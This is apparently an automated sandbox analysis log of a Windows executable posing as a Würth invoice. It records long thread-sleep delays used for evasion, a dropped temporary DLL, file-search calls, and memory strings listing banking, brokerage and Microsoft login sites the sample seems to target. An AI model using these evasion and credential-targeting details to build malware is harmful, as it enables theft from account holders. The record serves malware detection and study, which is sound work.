Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598124	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597795	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597646	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597527	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596749	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596421	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596312	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596202	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595966	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595733	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595624	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595404	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595077	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 594786	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 594475	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 594338	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 594217	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 594093	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 593968	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 593858	Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Window / User API: threadDelayed 8108			Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Window / User API: threadDelayed 1727			Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

API coverage: 1.6 %

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -599874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 5784	Thread sleep count: 8108 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 5784	Thread sleep count: 1727 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -599436s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -598999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -598671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -598124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -597795s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -597646s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -597527s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -597406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -597296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -597187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -597078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -596968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -596859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -596749s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -596640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -596531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -596421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -596312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -596202s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -595966s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -595733s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -595624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -595515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -595404s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -595296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -595077s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -594968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -594786s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -594475s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -594338s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -594217s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -594093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -593968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe TID: 744	Thread sleep time: -593858s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 0_2_00406370 FindFirstFileW,FindClose,	0_2_00406370
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 0_2_0040581E GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_0040581E
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_00406370 FindFirstFileW,FindClose,	4_2_00406370
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_0040581E DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040581E
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_004027FB FindFirstFileW,	4_2_004027FB

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599436	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598124	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597795	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597646	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597527	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596749	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596421	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596312	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596202	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595966	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595733	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595624	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595404	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 595077	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 594786	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 594475	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 594338	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 594217	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 594093	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 593968	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 593858	Jump to behavior

Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006E78000.00000004.00000020.00020000.00000000.sdmp, Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006ED7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.000000003848F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3298502596.00000000387AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
